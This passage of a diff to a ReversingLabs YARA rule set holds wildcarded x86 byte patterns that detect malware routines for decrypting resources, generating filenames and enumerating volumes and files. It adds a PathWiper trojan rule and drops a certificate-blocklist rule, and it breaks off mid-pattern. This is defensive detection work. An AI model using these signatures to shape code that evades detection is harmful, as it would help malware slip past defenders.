8D 77 ?? EB ?? 8B F7 2B F0 83 C6 ?? 8D 0C 36 E8 ?? ?? ?? ?? 8B D0 89 55 ?? 85 + D2 74 ?? 83 65 ?? ?? 8D 43 ?? 83 65 ?? ?? C1 EE ?? 8D 0C B0 8B F2 8B D9 2B D8 83 C3 + ?? C1 EB ?? 3B C1 0F 47 5D ?? 85 DB 74 ?? 8B 55 ?? 8B F8 8B 0F 8D 7F ?? 33 CA 0F B6 + C1 66 89 06 8B C1 C1 E8 ?? 8D 76 ?? 0F B6 C0 66 89 46 ?? C1 E9 ?? 0F B6 C1 66 89 46 + ?? C1 E9 ?? 0F B6 C1 66 89 46 ?? 8B 45 ?? 40 89 45 ?? 3B C3 72 ?? 8B 7D ?? 8B 55 ?? + 33 C0 66 89 04 7A 5F 5E 8B C2 5B 8B E5 5D C3 + } + $generate_filename_v1 = { + 56 57 33 C0 BF ?? ?? ?? ?? 57 50 50 6A ?? 50 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? 83 C4 ?? 8B CE 5F 5E E9 + } + $decrypt_resource_v2 = { + 55 8B EC 83 EC ?? 8B 41 ?? 8B 11 33 C2 53 56 8D 71 ?? 89 55 ?? 8D 58 ?? 89 45 ?? 83 + C6 ?? F6 C3 ?? 74 ?? 83 E3 ?? 83 C3 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? + 8B C8 E8 ?? ?? ?? ?? FF D0 8D 14 1B B9 ?? ?? ?? ?? 52 6A ?? 50 E8 ?? ?? ?? ?? BA ?? + ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 89 45 ?? 85 C0 74 ?? C1 EB ?? 8B C8 57 33 C0 8D + 14 9E 33 DB 8B FA 2B FE 83 C7 ?? C1 EF ?? 3B F2 0F 47 F8 85 FF 74 ?? 8B 16 8D 49 ?? + 33 55 ?? 8D 76 ?? 0F B6 C2 43 66 89 41 ?? 8B C2 C1 E8 ?? 0F B6 C0 66 89 41 ?? C1 EA + ?? 0F B6 C2 66 89 41 ?? C1 EA ?? 0F B6 C2 66 89 41 ?? 3B DF 72 ?? 8B 45 ?? 33 D2 8B + 4D ?? 5F 66 89 14 41 8B C1 5E 5B 8B E5 5D C3 + } + $generate_filename_v2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 51 6A ?? B9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 85 C0 0F 88 ?? ?? ?? ?? 56 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 8D [1-5] 51 + 51 50 56 8D [1-5] 68 ?? ?? ?? ?? 51 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B + C8 E8 ?? ?? ?? ?? FF D0 83 C4 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 + E8 ?? ?? ?? ?? FF D0 56 6A ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 + E8 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 5E 8B E5 5D C3 33 C0 8B E5 5D C3 + } + $decrypt_resource_v3 = { + 56 8B F1 BA [6-9] B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 56 6A ?? 50 68 ?? ?? ?? ?? + BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 5E C3 + } + $generate_filename_v3 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F1 8B FA 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BB ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B D3 56 50 BE ?? ?? ?? ?? [2-5] 8B CE E8 ?? + ?? ?? ?? 59 FF D0 57 8D 85 ?? ?? ?? ?? 8B D3 50 [2-5] 8B CE E8 ?? ?? ?? ?? 59 FF D0 + 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 + ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? 66 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 59 FF D0 F7 D8 5F 1B C0 5E 40 5B 8B E5 5D C3 + } + $decrypt_resource_v4 = { + 56 57 8B FA E8 ?? ?? ?? ?? 8B F0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 8B 0D ?? ?? ?? ?? + 89 44 B9 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? + 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF D0 8B F8 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? + ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 57 + FF D0 5F 5E C3 + } + $generate_filename_snippet_v4 = { + A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? + ?? ?? ?? A3 ?? ?? ?? ?? 56 53 FF D0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 5F 5E 33 C9 8D + 04 43 66 89 08 5D 5B 59 C3 + } + $decrypt_resource_snippet_v5 = { + C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0 + 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 02 8B C1 C1 E8 ?? 8D 52 + ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 42 ?? 0F B6 C1 66 89 42 + ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 5F 5E 8B C3 5B 83 C4 ?? + C3 + } + $decrypt_resource_snippet_v6 = { + C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0 + 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 88 0A 8B C1 C1 E8 ?? 8D 52 ?? C1 E9 ?? + 88 42 ?? 88 4A ?? C1 E9 ?? 45 88 4A ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 5D C6 04 + 03 ?? 5F 5E 8B C3 5B 83 C4 ?? C3 + } + $liblzf_decompression_1 = { + 83 EC ?? 8B 44 24 ?? 53 55 8D 2C 11 89 4C 24 ?? 8B 54 24 ?? 33 DB 03 C2 89 6C 24 ?? + 56 89 44 24 ?? 0F B6 41 ?? 8D 72 ?? 0F B6 11 C1 E2 ?? 0B D0 8D 45 ?? 89 44 24 ?? 57 + 8B F9 3B C8 0F 83 ?? ?? ?? ?? 0F B6 47 ?? C1 E2 ?? 0B D0 6B C2 ?? 8B CA C1 E9 ?? 33 + CA 89 54 24 ?? 8B 54 24 ?? C1 E9 ?? 2B C8 8B 44 24 ?? 81 E1 ?? ?? ?? ?? 8B 2C 88 8B + C7 2B 44 24 ?? 03 6C 24 ?? 89 04 8A 8B C7 8B 54 24 ?? 2B C5 48 89 44 24 ?? 3D ?? ?? + ?? ?? 0F 8D ?? ?? ?? ?? 3B EA 0F 86 ?? ?? ?? ?? 8A 45 ?? 3A 47 ?? 0F 85 ?? ?? ?? ?? + 0F B6 55 ?? 8D 4F ?? 0F B6 45 ?? 89 4C 24 ?? 0F B6 09 C1 E2 ?? 0B D0 C1 E1 ?? 0F B6 + 07 0B C8 3B D1 0F 85 ?? ?? ?? ?? 8B 44 24 ?? B9 ?? ?? ?? ?? 2B C7 3B C1 6A ?? 0F 47 + C1 89 44 24 ?? 8D 46 ?? 5A 3B 44 24 ?? 72 ?? 33 C9 8B C6 85 DB 0F 94 C1 2B C1 83 C0 + ?? 3B 44 24 ?? 0F 83 ?? ?? ?? ?? 8B C6 8D 4B ?? 2B C3 88 48 ?? 33 C0 85 DB 8B 5C 24 + ?? 0F 94 C0 2B F0 83 FB ?? 0F 86 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? + ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 + ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 + } + $liblzf_decompression_2 = { + 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A + 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 + ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 + ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? + 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8D 0C 3A 2B EF 42 41 3B D3 + 73 ?? 8A 04 29 3A 01 74 ?? 8B 5C 24 ?? 83 EA ?? 83 FA ?? 73 ?? 8B CB 8A C2 C1 F9 ?? + C0 E0 ?? 02 C8 88 0E 46 EB ?? 8B C3 C1 F8 ?? 2C ?? 88 06 8D 42 ?? 88 46 ?? 83 C6 ?? + 8B 7C 24 ?? 8B 44 24 ?? 47 88 1E 03 FA 33 DB 83 C6 ?? 3B F8 72 ?? 8B 6C 24 ?? 8D 46 + ?? 3B 44 24 ?? 76 ?? 33 C0 EB ?? 3B 74 24 ?? 73 ?? 8A 07 43 88 06 46 8B 44 24 ?? 47 + 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B F8 73 ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8A 07 43 + 88 06 46 47 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B FD 72 ?? 8B CE 8D 53 ?? 2B CB 88 + 51 ?? 33 C9 85 DB 0F 94 C1 2B F1 2B 74 24 ?? 8B C6 5F 5E 5D 5B 83 C4 ?? C3 + } + $decrypt_resource_snippet_v7 = { + C1 EE ?? 3B F9 0F 47 F0 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 + 02 8B C1 C1 E8 ?? 8D 52 ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 + 42 ?? 0F B6 C1 66 89 42 ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 + 5F 5E 8B C3 5B 83 C4 ?? C3 + } + $state_machine_snippet_v7 = { + 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B + 94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 54 24 ?? + 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 94 + 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 74 24 + ?? 8B F0 FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? F7 DE 8B 94 24 ?? ?? ?? ?? 1B F6 + 81 E6 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? + ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MADAS d.o.o." and pe.signatures [ i ] . serial == "07:bb:6a:9d:1c:64:2c:59:73:c1:6d:53:53:b1:7c:a4" and 1601856001 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $decrypt_resource_v1 and $generate_filename_v1 ) or ( $decrypt_resource_v2 and $generate_filename_v2 ) or ( $decrypt_resource_v3 and $generate_filename_v3 ) or ( $decrypt_resource_v4 and $generate_filename_snippet_v4 ) or ( $decrypt_resource_snippet_v5 and all of ( $liblzf_decompression_* ) ) or ( $decrypt_resource_snippet_v6 and all of ( $liblzf_decompression_* ) ) or ( $decrypt_resource_snippet_v7 and $state_machine_snippet_v7 ) } - -rule REVERSINGLABS_Cert_Blocklist_0A1Dc99E4D5264C45A5090F93242A30A : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Pathwiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects PathWiper trojan." author = "ReversingLabs" - id = "9b85ed8d-ddda-51d0-bfac-5cdc6e4fd94f" - date = "2020-08-05" - modified = "2023-11-08" + id = "8d6b0443-405c-55c1-8f19-0a60cc3f6f43" + date = "2025-08-26" + modified = "2025-08-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5788-L5804" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.PathWiper.yara#L1-L280" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1985c9c4f4a93c3088eaec3031df93cf87a9d7ee36b94322330caf3c21982f3c" + logic_hash = "d439cb7c369405f3938d856e1ad92b47889d0f0cad45f718a8d0c86dd7f5a461" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "PathWiper" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "K & D KOMPANI d.o.o." and pe.signatures [ i ] . serial == "0a:1d:c9:9e:4d:52:64:c4:5a:50:90:f9:32:42:a3:0a" and 1600905601 <= pe.signatures [ i ] . not_after ) -} + strings: + $find_volumes_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 7D ?? 33 F6 89 BD ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 89 75 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 37 + 89 77 ?? 89 77 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B + CA 49 80 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 80 BD ?? ?? ?? ?? ?? 0F + 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 85 ?? + ?? ?? ?? 80 BC 0D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 83 ?? ?? ?? + ?? C6 84 0D ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B + CA 8D 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 B5 ?? ?? + ?? ?? 74 ?? 0F 10 85 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? C7 46 ?? ?? ?? + ?? ?? 0F 11 06 C6 85 ?? ?? ?? ?? ?? F3 0F 7E 85 ?? ?? ?? ?? 66 0F D6 46 ?? 83 C6 + } + $find_volumes_p2 = { + 89 B5 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 50 + ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 + 41 84 C0 75 ?? 2B CA 49 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 07 8B 85 ?? ?? ?? ?? 89 77 ?? 89 47 ?? 8D 8D ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 89 B5 ?? ?? ?? ?? + 50 8D 8D ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B + BD ?? ?? ?? ?? 83 FA ?? 8B 8D ?? ?? ?? ?? 0F 43 C7 C6 45 ?? ?? 80 7C 01 ?? ?? 75 ?? + 49 8D 85 ?? ?? ?? ?? 83 FA ?? 89 8D ?? ?? ?? ?? 0F 43 C7 C6 04 08 ?? 6A ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 89 08 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 + 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 33 C0 03 D1 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 09 + 85 C9 74 ?? 8B 01 4A 85 C0 74 ?? 8B 00 85 C0 74 ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 + C0 8B 48 ?? 8B 40 ?? 49 23 CA C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 04 88 89 + 85 ?? ?? ?? ?? 83 78 ?? ?? 8B 78 ?? 89 BD ?? ?? ?? ?? 72 ?? 8B 00 89 85 ?? ?? ?? ?? + 83 FF ?? 73 ?? 0F 10 00 89 7D ?? C7 45 ?? ?? ?? ?? ?? 0F 11 45 ?? 8B 7D ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C7 B9 ?? ?? ?? ?? 83 C8 ?? 3D ?? ?? ?? ?? 0F + 47 C1 89 85 ?? ?? ?? ?? 8D 48 ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 3B C1 B9 ?? ?? ?? + ?? 0F 46 C1 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 78 ?? 83 E7 ?? 89 + } + $find_files_p2 = { + 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 85 ?? ?? ?? + ?? 40 89 7D ?? 50 FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 4D ?? 83 C0 ?? C6 45 ?? ?? 83 CE ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? + C6 45 ?? ?? 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 45 ?? 8B 8D ?? + ?? ?? ?? 51 0F 43 C7 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? + 8B 55 ?? 83 E6 ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 + FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 + 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C6 45 ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? + 80 BD ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 75 ?? 8A 85 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? + ?? 3C ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 74 ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8D 50 ?? C6 85 ?? ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 8D 8D ?? ?? ?? + ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 CE ?? C6 45 ?? ?? 89 B5 ?? ?? ?? ?? 8D + } + $find_files_p3 = { + 4D ?? 8B 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 46 ?? 50 E8 + ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 56 0F 43 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D + 4D ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B C7 8B 4D ?? 2B C1 8B 55 ?? 8B 75 ?? 3B D0 76 ?? 8B + C6 2B C2 3B C1 72 ?? 83 FF ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 50 6A ?? E8 + ?? ?? ?? ?? EB ?? 83 FE ?? 8D 85 ?? ?? ?? ?? 52 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 50 E8 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E + 40 ?? 66 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8B B5 ?? ?? + ?? ?? 83 E6 ?? 83 CE ?? 8B 55 ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 55 + ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B + 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 + ?? F6 85 ?? ?? ?? ?? ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D + 95 ?? ?? ?? ?? 52 8D 55 ?? 52 8B 40 ?? FF D0 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F + 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 42 ?? 3B C8 77 ?? 6A ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 49 + } + $find_files_p4 = { + 23 C1 89 85 ?? ?? ?? ?? 03 C2 23 C1 8B 8D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 83 3C 0F + ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 89 04 0F 8B 8D ?? ?? ?? ?? + 8B 0C 0F 8D 45 ?? 50 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 85 + C9 0F 84 ?? ?? ?? ?? 8B 01 8D 95 ?? ?? ?? ?? 52 8D 55 ?? 52 FF 50 ?? 8B 55 ?? C6 45 + ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B + C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? + ?? ?? 8B 55 ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? + 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 + C4 ?? 8B 8D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? 